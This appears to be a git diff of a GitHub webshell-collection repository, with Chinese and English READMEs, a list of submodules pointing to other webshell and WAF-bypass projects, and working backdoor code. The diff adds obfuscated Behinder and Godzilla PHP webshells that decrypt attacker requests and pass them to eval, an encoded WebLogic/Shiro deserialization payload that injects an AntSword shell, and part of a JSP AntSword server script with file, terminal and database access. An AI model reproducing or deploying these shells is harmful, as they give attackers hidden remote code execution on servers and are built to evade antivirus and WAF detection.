Merge pull request #55 from foulenzer/typo_fix

fixed typo

.gitmodules

@@ -0,0 +1,61 @@
+[submodule "xl7dev/WebShell"]
+	path = xl7dev/WebShell
+	url = https://github.com/xl7dev/WebShell
+	branch = main
+[submodule "JohnTroony/php-webshells"]
+	path = JohnTroony/php-webshells
+	url = https://github.com/JohnTroony/php-webshells
+[submodule "BlackArch/webshells"]
+	path = BlackArch/webshells
+	url = https://github.com/BlackArch/webshells
+[submodule "LandGrey/webshell-detect-bypass"]
+	path = LandGrey/webshell-detect-bypass
+	url = https://github.com/LandGrey/webshell-detect-bypass
+[submodule "JoyChou93/webshell"]
+	path = JoyChou93/webshell
+	url = https://github.com/JoyChou93/webshell
+[submodule "bartblaze/PHP-backdoors"]
+	path = bartblaze/PHP-backdoors
+	url = https://github.com/bartblaze/PHP-backdoors
+[submodule "WangYihang/Webshell-Sniper"]
+	path = WangYihang/Webshell-Sniper
+	url = https://github.com/WangYihang/Webshell-Sniper
+[submodule "threedr3am/JSP-Webshells"]
+	path = threedr3am/JSP-Webshells
+	url = https://github.com/threedr3am/JSP-Webshells
+[submodule "DeEpinGh0st/PHP-bypass-collection"]
+	path = DeEpinGh0st/PHP-bypass-collection
+	url = https://github.com/DeEpinGh0st/PHP-bypass-collection
+[submodule "lcatro/PHP-WebShell-Bypass-WAF"]
+	path = lcatro/PHP-WebShell-Bypass-WAF
+	url = https://github.com/lcatro/PHP-WebShell-Bypass-WAF
+[submodule "ysrc/webshell-sample"]
+	path = ysrc/webshell-sample
+	url = https://github.com/ysrc/webshell-sample
+[submodule "tanjiti/webshellSample"]
+	path = tanjiti/webshellSample
+	url = https://github.com/tanjiti/webshellSample
+[submodule "webshellpub/awsome-webshell"]
+	path = webshellpub/awsome-webshell
+	url = https://github.com/webshellpub/awsome-webshell
+[submodule "tdifg/WebShell"]
+	path = tdifg/WebShell
+	url = https://github.com/tdifg/WebShell
+[submodule "malwares/WebShell"]
+	path = malwares/WebShell
+	url = https://github.com/malwares/WebShell
+[submodule "lhlsec/webshell"]
+	path = lhlsec/webshell
+	url = https://github.com/lhlsec/webshell
+[submodule "oneoneplus/webshell"]
+	path = oneoneplus/webshell
+	url = https://github.com/oneoneplus/webshell
+[submodule "vnhacker1337/Webshell"]
+	path = vnhacker1337/Webshell
+	url = https://github.com/vnhacker1337/Webshell
+[submodule "backlion/webshell"]
+	path = backlion/webshell
+	url = https://github.com/backlion/webshell
+[submodule "AntSwordProject/AwesomeScript"]
+	path = AntSwordProject/AwesomeScript
+	url = https://github.com/AntSwordProject/AwesomeScript

Behinder/readme.md

@@ -0,0 +1,22 @@
+### [ByPassBehinder / 冰蝎WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder)
+
+Author:Tas9er @A.E.0.S Security Team
+
+❌风险概述:
+
+本工具仅限授权安全测试使用,禁止非法攻击未授权站点
+
+✴️文件MD5值校对
+
+文件:ByPassBehinder.exe
+
+MD5 HASH:04caea5648786157fb65dd51d2bc061e
+
+### [ByPassBehinder4J / 冰蝎Java WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder4J)
+
+Author:Tas9er @A.E.0.S Security Team
+
+
+
+
+### 安全自测

Behinder/shell-2021-03-18.php

@@ -0,0 +1,35 @@
+<?php
+@error_reporting(0);
+session_start();
+$t=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
+$J=[("$t")("cGhwOi8vaW5wdXQ="),("$t")("b3BlbnNzbA==")];
+
+if (isset($_GET['pass']))
+{
+    $key=substr(md5(uniqid(rand())),16);
+    $_SESSION['k']=$key;
+    print $key;
+}
+else
+{
+    $key=$_SESSION['k'];
+ $post=("$t")("ZmlsZV9nZXRfY29udGVudHM=")("$J[0]");
+ if(!extension_loaded("$J[1]"))
+ {
+  $post=("$t")("$post")."";
+  for($i=0;$i<strlen($post);$i++) {
+        $tmp=[$post[$i] => $post[$i]^$key[$i+1&15]]; 
+     $post[$i]=$tmp[$post[$i]];
+       }
+ }
+ else
+ {
+  $post=openssl_decrypt($post, "AES128", $key);
+ }
+    $arr=explode('|',$post);
+    $func=$arr[0];
+    $params=$arr[1];
+ class C{public function __construct($p) {eval($p."");}}
+ @new C($params);
+}
+?>

Behinder/shell-2021-04-23.php

@@ -0,0 +1,28 @@
+<?php
+@error_reporting(0);
+session_start();
+$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
+$f='file'.'_get'.'_contents';
+$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
+    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
+        $_SESSION['k']=$key;
+        $post=$f($p);
+        if(!extension_loaded('openssl'))
+        {
+                $post=$t($post."");
+                
+                for($i=0;$i<strlen($post);$i++) {
+                             $key = $key[$i+1&15];
+                                $post[$i] = $port[$i]^$key; 
+                            }
+        }
+        else
+        {
+                $post=openssl_decrypt($post, "AES128", $key);
+        }
+    $arr=explode('|',$post);
+    $func=$arr[0];
+    $params=$arr[1];
+        class C{public function b($p) {eval($p."");}}
+        @call_user_func(array(C,b),$params);
+?>

Behinder/shell2020-12-06.php

@@ -0,0 +1,26 @@
+<?php
+@error_reporting(0);
+session_start();
+$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
+$_SESSION['k']=$key;
+$f=explode("|",base64_decode("ZmlsZV9nZXRfY29udGVudHN8YmFzZTY0X2RlY29kZXxwaHA6Ly9pbnB1dA=="));
+$post=["bie"=>$f[0](end($f))];
+$post=$post["bie"];
+if(!extension_loaded('openssl'))
+{
+ $post=$f[1]($post."");
+
+ for($i=0;$i<strlen($post);$i++) {
+  $post[$i] = $post[$i] xor $key[$i+1&15];
+ }
+}
+else
+{
+ $post=openssl_decrypt($post, "AES128", $key);
+}
+$arr=explode('|',$post);
+$func=$arr[0];
+$params=$arr[1];
+class C{public function __invoke($p) {eval($p."");}}
+@call_user_func(new C(),$params);
+?>

CNAME

@@ -1 +0,0 @@
-shell.endp.top

Godzilla/20220213.php

@@ -0,0 +1,34 @@
+<?php
+    session_start();
+    @set_time_limit(0);
+	@error_reporting(0);
+    function E($D,$K){
+        for($i=0;$i<strlen($D);$i++) {
+            $D[$i] = $D[$i]^$K[$i+1&15];
+        }
+        return $D;
+    }
+    function Q($D){
+        return base64_encode($D);
+    }
+    function O($D){
+        return base64_decode($D);
+    }
+    $P='sangfor';
+    $V='payload';
+    $T='3c6e0b8a9c15224a';
+    if (isset($_POST[$P])){
+        $F=O(E(O($_POST[$P]),$T));
+        if (isset($_SESSION[$V])){
+            $L=$_SESSION[$V];
+            $A=explode('|',$L);
+            class C{public function nvoke($p) {eval($p."");}}
+            $R=new C();
+			$R->nvoke($A[0]);
+            echo substr(md5($P.$T),0,16);
+            echo Q(E(@run($F),$T));
+            echo substr(md5($P.$T),16);
+        }else{
+            $_SESSION[$V]=$F;
+        }
+    }

Godzilla/20220213_02.php

@@ -0,0 +1,26 @@
+<?php
+@session_start();
+@set_time_limit(0);
+@error_reporting(0);
+function encode($D,$K){
+    for($i=0;$i<strlen($D);$i++) {
+        $c = $K[$i+1&15];
+        $D[$i] = $D[$i]^$c;
+    }
+    return $D;
+}
+$payloadName='payload';
+$key='3c6e0b8a9c15224a';
+$data=file_get_contents("php://input");
+if ($data!==false){
+    $data=encode($data,$key);
+    if (isset($_SESSION[$payloadName])){
+        $payload=encode($_SESSION[$payloadName],$key);
+		eval($payload);
+        echo encode(@run($data),$key);
+    }else{
+        if (stripos($data,"getBasicsInfo")!==false){
+            $_SESSION[$payloadName]=encode($data,$key);
+        }
+    }
+}

Godzilla/20220213_03.php

@@ -0,0 +1,31 @@
+<?php
+@session_start();
+@set_time_limit(0);
+@error_reporting(0);
+function encode($D,$K){
+    for($i=0;$i<strlen($D);$i++) {
+        $c = $K[$i+1&15];
+        $D[$i] = $D[$i]^$c;
+    }
+    return $D;
+}
+$pass='pass';
+$payloadName='payload';
+$key='3c6e0b8a9c15224a';
+if (isset($_POST[$pass])){
+    $data=encode(base64_decode($_POST[$pass]),$key);
+    if (isset($_SESSION[$payloadName])){
+        $payload=encode($_SESSION[$payloadName],$key);
+        if (strpos($payload,"getBasicsInfo")===false){
+            $payload=encode($payload,$key);
+        }
+		eval($payload);
+        echo substr(md5($pass.$key),0,16);
+        echo base64_encode(encode(@run($data),$key));
+        echo substr(md5($pass.$key),16);
+    }else{
+        if (strpos($data,"getBasicsInfo")!==false){
+            $_SESSION[$payloadName]=encode($data,$key);
+        }
+    }
+}

LICENSE

@@ -1,7 +1,7 @@
                     GNU GENERAL PUBLIC LICENSE
                        Version 3, 29 June 2007
 
- Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
  Everyone is permitted to copy and distribute verbatim copies
  of this license document, but changing it is not allowed.
 
@@ -631,8 +631,8 @@ to attach them to the start of each source file to most effectively
 state the exclusion of warranty; and each file should have at least
 the "copyright" line and a pointer to where the full notice is found.
 
-    {one line to give the program's name and a brief idea of what it does.}
-    Copyright (C) {year}  {name of author}
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
 
     This program is free software: you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
@@ -645,14 +645,14 @@ the "copyright" line and a pointer to where the full notice is found.
     GNU General Public License for more details.
 
     You should have received a copy of the GNU General Public License
-    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
 
 Also add information on how to contact you by electronic and paper mail.
 
   If the program does terminal interaction, make it output a short
 notice like this when it starts in an interactive mode:
 
-    {project}  Copyright (C) {year}  {fullname}
+    <program>  Copyright (C) <year>  <name of author>
     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
     This is free software, and you are welcome to redistribute it
     under certain conditions; type `show c' for details.
@@ -664,11 +664,11 @@ might be different; for a GUI interface, you would use an "about box".
   You should also get your employer (if you work as a programmer) or school,
 if any, to sign a "copyright disclaimer" for the program, if necessary.
 For more information on this, and how to apply and follow the GNU GPL, see
-<http://www.gnu.org/licenses/>.
+<https://www.gnu.org/licenses/>.
 
   The GNU General Public License does not permit incorporating your program
 into proprietary programs.  If your program is a subroutine library, you
 may consider it more useful to permit linking proprietary applications with
 the library.  If this is what you want to do, use the GNU Lesser General
 Public License instead of this License.  But first, please read
-<http://www.gnu.org/philosophy/why-not-lgpl.html>.
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

README.md

@@ -1,65 +1,88 @@
-webshell
-========
-这是一个webshell收集项目
-
-送人玫瑰，手有余香，如果各位下载了本项目，也请您能提交shell
-
-本项目涵盖各种常用脚本
-
-如：asp,aspx,php,jsp,pl,py
-
-如提交各种webshell，请勿更改名称和密码
-
-注意：所有shell 本人不保证是否有后门，但是自己上传的绝不会故意加后门
-
-各位提交的，也请勿加后门
-
-如发现存在后门代码，请issues 。
-
-本项目提供的工具，禁止从事非法活动，此项目，仅供测试，所造成的一切后果，与本人无关。
-
-> ### 在扩展一个项目 
-> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
-> 2. 免杀webshell无限生成工具
-> 3. 免杀webshell无限生成工具(免杀一句话生成|免杀D盾|免杀安全狗护卫神河马查杀等一切waf)
-> 4. Author : yzddmr6
-> 5. 请自行鉴别
-
-
-> ### other webshell project (old)
-> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
-> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
-> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
-> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
-> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
-> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
-> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
-
-
-> ### 顺便在推一波网站管理工具
-> 1. 中国菜刀
-> 2. Cknife
-> 3. Altman
-> 4. xise
-> 5. Weevely
-> 6. quasibot
-> 7. Webshell-Sniper
-> 8. 蚁剑
-> 9. 冰蝎
-> 10. webacoo
-> 11. 以上排名不分先后
-
-
-
-Author ：tennc
-
-http://tennc.github.io/webshell
-
-license : GPL v3
-
-## Download link
-Check github releases. Latest:
-
-[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
-
-## <img src="https://raw.githubusercontent.com/tennc/webshell/master/jetbrains.png" width="400"> Thanks to [Jetbrains](https://www.jetbrains.com/?from=webshell)
+# webshell | [English](https://github.com/tennc/webshell/blob/master/README_EN.md)
+
+这是一个webshell收集项目
+
+送人玫瑰，手有余香，如果各位下载了本项目，也请您能提交shell
+
+本项目涵盖各种常用脚本
+
+如：asp,aspx,php,jsp,pl,py
+
+如提交各种webshell，请勿更改名称和密码
+
+注意：所有shell 本人不保证是否有后门，但是自己上传的绝不会故意加后门
+
+各位提交的，也请勿加后门
+
+如发现存在后门代码，请issues 。
+
+本项目提供的工具，禁止从事非法活动，此项目，仅供测试，所造成的一切后果，与本人无关。
+
+> ### 在扩展一个项目 
+> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
+> 2. 免杀webshell无限生成工具
+>>  免杀webshell无限生成工具(免杀一句话生成|免杀D盾|免杀安全狗护卫神河马查杀等一切waf)
+>>  
+>>  Author : yzddmr6
+>>  
+>>  https://github.com/pureqh/webshell
+>>  
+>>  请自行鉴别后门
+
+> ### other webshell project (update 2021-04-03)
+> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
+> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
+> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
+> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
+> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
+> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
+> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells)
+> 9. [DeEpinGh0st/PHP-bypass-collection](https://github.com/DeEpinGh0st/PHP-bypass-collection)
+> 10. [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF)
+> 11. [ysrc/webshell-sample](https://github.com/ysrc/webshell-sample)
+> 12. [tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
+> 13. [webshellpub/awsome-webshell](https://github.com/webshellpub/awsome-webshell)
+> 14. [tdifg/WebShell](https://github.com/tdifg/WebShell)
+> 15. [malwares/WebShell](https://github.com/malwares/WebShell)
+> 16. [lhlsec/webshell](https://github.com/lhlsec/webshell)
+> 17. [oneoneplus/webshell](https://github.com/oneoneplus/webshell)
+> 18. [vnhacker1337/Webshell](https://github.com/vnhacker1337/Webshell)
+> 19. [backlion/webshell](https://github.com/backlion/webshell)
+> 20. [twepl/wso](https://github.com/twepl/wso) wso for php8
+
+> ### 顺便在推一波网站管理工具
+> 1. 中国菜刀
+> 2. Cknife
+> 3. [Altman](https://github.com/keepwn/Altman)
+> 4. xise
+> 5. [Weevely](https://github.com/epinna/weevely3)
+> 6. [quasibot](https://github.com/Smaash/quasibot)
+> 7. [Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [蚁剑 antSword](https://github.com/AntSwordProject/antSword)
+> 9. [冰蝎 Behinder](https://github.com/rebeyond/Behinder)
+> 10. [webacoo](https://github.com/anestisb/WeBaCoo)
+> 11. [哥斯拉 Godzilla](https://github.com/BeichenDream/Godzilla)
+> 12. [PhpSploit](https://github.com/nil0x42/phpsploit)
+> 13. 以上排名不分先后
+
+
+
+Author ：tennc
+
+http://tennc.github.io/webshell
+
+license : GPL V3
+
+## Download link
+Check github releases. Latest:
+
+[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
+
+## [Thank you to JetBrains for providing an OSS development license for their products](https://www.jetbrains.com/?from=webshell)
+
+## 
+
+[![Stargazers over time](https://starchart.cc/tennc/webshell.svg)](https://starchart.cc/tennc/webshell)
+
+

README_EN.md

@@ -0,0 +1,81 @@
+webshell
+[简体中文](https://github.com/tennc/webshell/blob/master/README.md)
+========
+This is a webshell collection project
+
+*Give someone a rose, there is a fragrance in your hand*  
+if you download this project, please also submit a shell
+
+This project covers various common scripts
+
+Such as: asp, aspx, php, jsp, pl, py
+
+If you submit a webshell, please do not change the name and password
+
+Note: There is no guarantee whether there could be a backdoor in a shell, but I will never add a backdoor deliberately when uploading by myself
+
+Please don’t add a backdoor if you submit
+
+If you find a backdoor code, please create an issue immediately!
+
+The tools provided by this project are forbidden to engage in illegal activities. This project is for testing purposes only. All the consequences caused by it have nothing to do with me.
+
+> ### Expanding a project 
+> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
+> 2. Kill-free webshell unlimited generation tool
+> 3. Kill-free webshell unlimited generation tool (Kill-free one sentence generation|Kill-free D shield|Kill-free security dog guard God Hippo check and kill everything waf)
+> 4. Author : yzddmr6
+> 5. Please identify yourself
+
+
+> ### other webshell project (update 2020-09-14)
+> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
+> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
+> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
+> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
+> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
+> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
+> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells)
+> 9. [DeEpinGh0st/PHP-bypass-collection](https://github.com/DeEpinGh0st/PHP-bypass-collection)
+> 10. [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF)
+> 11. [ysrc/webshell-sample](https://github.com/ysrc/webshell-sample)
+> 12. [tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
+> 13. [webshellpub/awsome-webshell](https://github.com/webshellpub/awsome-webshell)
+> 14. [tdifg/WebShell](https://github.com/tdifg/WebShell)
+> 15. [malwares/WebShell](https://github.com/malwares/WebShell)
+> 16. [lhlsec/webshell](https://github.com/lhlsec/webshell)
+> 17. [oneoneplus/webshell](https://github.com/oneoneplus/webshell)
+> 18. [vnhacker1337/Webshell](https://github.com/vnhacker1337/Webshell)
+> 19. [backlion/webshell](https://github.com/backlion/webshell)
+
+
+> ### By the way, we are pushing a wave of website management tools
+> 1. Chinese Kitchen Knife
+> 2. Cknife
+> 3. [Altman](https://github.com/keepwn/Altman)
+> 4. xise
+> 5. [Weevely](https://github.com/epinna/weevely3)
+> 6. [quasibot](https://github.com/Smaash/quasibot)
+> 7. [Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [蚁剑 antSword](https://github.com/AntSwordProject/antSword)
+> 9. [冰蝎 Behinder](https://github.com/rebeyond/Behinder)
+> 10. [webacoo](https://github.com/anestisb/WeBaCoo)
+> 11. [哥斯拉 Godzilla](https://github.com/BeichenDream/Godzilla)
+> 12. [PhpSploit](https://github.com/nil0x42/phpsploit)
+> 13. The above rankings are in no particular order
+
+
+
+Author ：tennc
+
+http://tennc.github.io/webshell
+
+license : GPL v3
+
+## Download link
+Check github releases. Latest:
+
+[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
+
+## [Thank you to JetBrains for providing an OSS development license for their products](https://www.jetbrains.com/?from=webshell)

SECURITY.md

@@ -0,0 +1,5 @@
+# Security Policy
+
+## Reporting a Vulnerability
+
+Please report security issues to <email>

antSword-shells/WebLogic_Shiro.md

@@ -0,0 +1,15 @@
+``` java
+
+YWFhYWFhYWFhYWFhYWFhYW4WyDHgFb0DhQAQ46Kgw+r8soc6/b5FErU9nSlqEsyHJ8x4xnqm1ex86u/xBiUprKSOWmYZAMmwfWmzi9V1lvBG13cKgcZiHI6Kj0T69zzRdjvky4fgMZJy5IC1J5Dw8AFlea2PrRvslWyoPMxkYDXMCIQWOPYx4q6VXinkXP+3/hTU+VhQKzUdqbYj6w2DiQ6oqtZBYZdGD4YXq5YTrKpOHPyPex9EEvNxxZQGQcUgZD8+evRHXAcxCT/hTgsio2sGE7DkOB/PnnBhzm+1kJkEU6ePQoiD2GQA+lAVmLpQJEq4xlgg1HtVlQK7mCtSRU2vhroCHMtOFcQCz7u8yQ1hk0+da0IIf+QxsM0p78aWq8IYjk1wjzpxp8azJWvG0ao6ok9VdWXbJdC+c9yB5LySnNb7auijcGV54JODEx22BDsOVcN+vwyd3JBpfX+2KBur5jIIfc3kHRMRuJV9+LPoHDhoUVdUc5cismdzX2d0LJ9Ml+8l7LCAaenC2/GNgZJkzCpuZ/jvEfGVyCuLMK1KQM0eeW7beOojIcDXT6jrAn4Ys0gMThu05TWjQHM+fXDczE6Eb6dO5x9tOROFI0gcqzjmRage7xXM2xHykzej6CuiP6eJb+qKND244YgFN9gkAQqgkyscLcV0Ds6EldEct7uhzQfM1upktzWwsdrY1qVSmuMt1T8UzW/+hZoYgvxAh4F7jsSHuTPtoLoC36OK6PnooZUvKlmQtOCe05hIKpXoc9wXXh1EWJE5RXFrU34LMbsEjZH5e1GY8e9/xDxbRfNnBCfgpUH2rlPo0fUP0gdexpMLU9V/HDOBOxuQWLxRHvX3bpW3CF+cvYOJHtz9x6Y7Qa3NQxtkv1qrcddYXQdqO52sGjGvYCo6OyYsJm1vYnaqccVtsm/85VmCjAGu8QkP5tK3P8jr5K9pVdSEgAECTxYt/XRp/3baKCAPbLY1ibmR63y+0lBC+krW/p22CdpKq11r2ZxVVSEmaCBl4LgbYi1wk+rZFv1Io4CSr/R9PBFjlkvsCl2PSXC+VLA6YZt2d9u1F0uXC5VHhnTJaZ35lPBUTGT9BBvveDDW99CCmQa9htKNDwAsZnlyghFAPheH9N5J729NVrWXbrbUa1tl/Eh7rzA3SriFFZ9LhlGH68ksuCaUesi1+S0hh+aL7sXpKuxEVFK5yY1a3FHCjxeP1C29QAqgulzAJ5Lm6xjQ7Nb2lo5FfHMMO4kipou6gFlA5dhyholnB4wCzxy+V0UA5uY1kqxooLa5mUs+l5Xn8k+XWuhzZ/1OLLwlc5BEZ4qAdI77i4kkVhvr21lK5DoKhBMgl/5Sv+1k7TbgyTYa5Xvk1c7Sf0v7MCDeeSnFHElyLHW/LL7sgBXns4f9wy9tQWhafv3xqc5X+8ARY3QoP8bmV2AUpIeyWAvc1lS2Bf8juaQ6PKXTMPB5y6aTW2eDdCjDZLhrBj02qPt4A3l4uqBylZLSdeNFGSXrTPqiAADxGawk2TvKqRYn8oowS0SWeUngpR7GGGiqU/m8e3PUC/WepGQj0rdTFXqE5MJPd0a9BgQOew0uQfmKdbzstZr2j4on8lWYRmPLxpeooV7YvJL5mC3Xfo381OhOCEI5twD5MvXrUlSQpMH9+HISjWRxLzsC2njoXwiPbum39w==
+
+```
+
+pass: alsdkj1l24wqasd123
+
+use: URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell
+
+![antshell](https://github.com/Y4er/WebLogic-Shiro-shell/raw/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.assets/antshell.gif)
+
+author:Y4er
+
+project:https://github.com/Y4er/WebLogic-Shiro-shell

antSword-shells/jsp_custom_script_for_oracle.jsp

@@ -0,0 +1,525 @@
+<%--
+             _   ____                       _
+  __ _ _ __ | |_/ ___|_      _____  _ __ __| |
+ / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
+| (_| | | | | |_ ___) \ V  V / (_) | | | (_| |
+ \__,_|_| |_|\__|____/ \_/\_/ \___/|_|  \__,_|
+———————————————————————————————————————————————
+    AntSword JSP Custom Script for Oracle
+    警告：
+        此脚本仅供合法的渗透测试以及爱好者参考学习
+         请勿用于非法用途，否则将追究其相关责任！
+———————————————————————————————————————————————
+说明：
+ 1. AntSword >= v2.1.0
+ 2. 创建 Shell 时选择 custom 模式连接
+ 3. 数据库连接：
+  oracle.jdbc.driver.OracleDriver
+  jdbc:oracle:thin:@127.0.0.1:1521/test
+  user
+  password
+  注意：以上是4行
+ 4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致，如果选择 default 则需要将值设置为空
+已知问题：
+ 1. 文件管理遇到中文文件名显示的问题
+ChangeLog:
+  v1.8
+    1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
+  v1.7
+    1. 新增 AES 编码/解码 支持 (thx @Ch1ngg)
+    2. 新增 Version, 直接访问不带任何参数会返回当前 shell 的版本号
+  v1.6
+    1. 新增 4 种解码器支持
+  v1.5
+    1. 修正 base64 编码器下连接数据库 characterEncoding 出错
+  v1.4
+    1. 修正 windows 下基础路径获取盘符会出现小写的情况
+  v1.3
+   1. 修正上传文件超过1M时的bug
+   2. 修正weblogic war 包布署获取路径问题
+   3. 修正文件中文字符问题
+  Date: 2016/04/29 v1.2
+   1. 修正修改包含结束tag的文件会出错的 bug
+  Date: 2016/04/06 v1.1
+   1. 修正下载文件参数设置错误
+   2. 修正一些注释的细节
+  Date: 2016/03/26 v1
+   1. 文件系统 和 terminal 管理
+   2. mysql 数据库支持
+   3. 支持 base64 和 hex 编码
+--%>
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,javax.crypto.*,java.security.*,javax.crypto.spec.*" contentType="text/html;charset=UTF-8"%>
+<%!
+// #################################################################
+    String Pwd = "ant";         //连接密码
+    // 编码器
+    String encoder = "";               // default (明文)
+    // String encoder = "base64";      // base64
+    // String encoder = "hex";         // hex(推荐)
+    // String encoder = "aes";         // aes(加密方式见下文aes配置)
+    // 解码器
+    String decoder = "";               // default (明文)
+    // String decoder = "base64";      // base64 中文正常
+    // String decoder = "hex";         // hex 中文可能有问题
+    // String decoder = "hex_base64";  // hex(base64) // 中文正常
+    // String decoder = "aes_base64";  // aes(base64) (加密方式见下文aes配置)
+    // 其它配置
+    String cs = "UTF-8";                // 字符集编码
+    String SessionKey = "CUSTOMSESSID"; // 自定义sessionkey id
+    String RetS = "LT58";               // 数据起始分割符 base64
+    String RetE = "fDwt";               // 数据结束分割符 base64
+    // aes 加密配置项
+    /*
+    *  aes-128-cfb_zero_padding:
+    *   - aes_mode: CFB
+    *   - aes_padding: NoPadding
+    *   - aes_keylen: 16
+    *  aes-256-ecb_zero_padding:
+    *   - aes_mode: ECB
+    *   - aes_padding: NoPadding
+    *   - aes_keylen: 32
+    */
+    // 注意: 以下4项为 encoder/decoder 共用
+    // 如果需要请求和返回采用不同方式, 自行修改
+    String aes_mode = "CFB";            // CBC|ECB|CFB|
+    String aes_padding = "NoPadding";   // NoPadding|PKCS5Padding|PKCS7Padding
+    int aes_keylen = 16;                // 16|32  // 16(AES-128) 32(AES-256)
+    String aes_key_padding = "a";       // 获取到的 key 位数不够时填充字符
+// ################################################################
+    String AesKey = "";
+    String Version = "1.7";
+    String EC(String s) throws Exception {
+        if(encoder.equals("hex") || encoder == "hex") return s;
+        return new String(s.getBytes(), cs);
+    }
+    String showDatabases(String encode, String conn) throws Exception {
+        String sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1";
+        String columnsep = "\t";
+        String rowsep = "";
+        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+    }
+    String showTables(String encode, String conn, String dbname) throws Exception {
+        String sql = "SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+dbname+"' ORDER BY 1)";
+        String columnsep = "\t";
+        String rowsep = "";
+        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+    }
+    String showColumns(String encode, String conn, String dbname, String table) throws Exception {
+        String columnsep = "\t";
+        String rowsep = "";
+        String sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0";
+        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+    }
+    String query(String encode, String conn, String sql) throws Exception {
+        String columnsep = "\t|\t";
+        String rowsep = "\r\n";
+        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+    }
+    String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
+            throws Exception {
+        String ret = "";
+        conn = (EC(conn));
+        String[] x = conn.trim().replace("\r\n", "\n").split("\n");
+        Class.forName(x[0].trim());
+        String url = x[1];
+        Connection c = DriverManager.getConnection(url,x[2],x[3]);
+        Statement stmt = c.createStatement();
+        ResultSet rs = stmt.executeQuery(sql);
+        ResultSetMetaData rsmd = rs.getMetaData();
+        if (needcoluname) {
+            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+                String columnName = rsmd.getColumnName(i);
+                ret += columnName + columnsep;
+            }
+            ret += rowsep;
+        }
+        while (rs.next()) {
+            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+                String columnValue = rs.getString(i);
+                ret += columnValue + columnsep;
+            }
+            ret += rowsep;
+        }
+        return ret;
+    }
+    String WwwRootPathCode(String d) throws Exception {
+        String s = "";
+        if (!d.substring(0, 1).equals("/")) {
+            File[] roots = File.listRoots();
+            for (int i = 0; i < roots.length; i++) {
+                s += roots[i].toString().substring(0, 2) + "";
+            }
+        } else {
+            s += "/";
+        }
+        return s;
+    }
